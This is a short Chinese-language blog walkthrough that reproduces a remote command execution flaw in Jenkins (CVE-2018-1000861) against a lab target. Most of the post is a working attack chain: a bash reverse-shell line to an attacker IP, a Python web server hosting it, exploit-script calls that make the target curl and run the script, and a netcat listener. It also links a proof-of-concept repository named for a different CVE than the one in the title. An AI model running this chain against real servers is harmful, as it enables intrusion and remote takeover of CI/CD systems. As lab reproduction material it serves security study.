jekins CVE-2018-1000861 漏洞复现

jekins CVE-2018-1000861 漏洞复现

名称: jenkins 命令执行 (CVE-2018-1000861)

描述: ​Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins 是常见的CI/CD服务器, 最常见的就是爆破弱口令然后使用groovy执行命令

**利用项目:**​https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

打开靶场:

​​​​

用python快速构建一个web服务,在这个网站下创建一个yyds.txt,yyds.txt里面的内容为反弹shell的命令,也就是下面这串代码

bash -i >& /dev/tcp/192.168.91.138/9002 0>&1

​​

开启web服务:

python3 -m http.server 9001

​​​​

访问测试一下没问题:

​​​​​​

用python2版本执行exp.py这个脚本,目的是让目标主机下载这个yyds.txt文件并保存到自己的/tmp/2.sh这个路径下

python2 exp.py http://192.168.91.129:36252/ "curl -o /tmp/2.sh http://192.168.91.138:9001/yyds.txt"

​​​​

开启监听:

nc -lvvp 9002

​​

再次执行这个脚本,让目标机器执行这个2.sh文件,也就是执行了我保存在yyds.txt文件里反弹shell的命令

python2 exp.py http://192.168.91.129:36252/ "bash /tmp/2.sh"

相关推荐
YakProject14 小时前
用 IRify 深入探索 WebShell 中的 Source/Sink 挖掘
网络安全
白山云北诗15 小时前
深度解读云防火墙(WAF):守护网络安全的智能卫士
安全·web安全·防火墙·waf·云防火墙·web应用防火墙
douluo99816 小时前
老飞飞bug及原理修复方法
安全·web安全
忘川w18 小时前
《网络安全与防护》知识点复习
笔记·安全·web安全·网络安全
Bruce_Liuxiaowei1 天前
使用Nmap探测VNC服务信息—某单位KVM设备
网络·安全·web安全
qq_243050791 天前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(三)
linux·网络安全·黑客·渗透测试·模糊测试·kali linux·黑客工具
安全系统学习1 天前
网络安全之内核初级对抗技术分析
开发语言·python·算法·安全·web安全
炎码工坊1 天前
DevSecOps实践:CI/CD流水线集成动态安全测试(DAST)工具
安全·网络安全·微服务·云原生·安全架构
Starshime1 天前
PHP、Apache环境中部署sqli-labs
网络安全
盛满暮色 风止何安1 天前
BGP基础
运维·服务器·网络·网络协议·tcp/ip·网络安全·智能路由器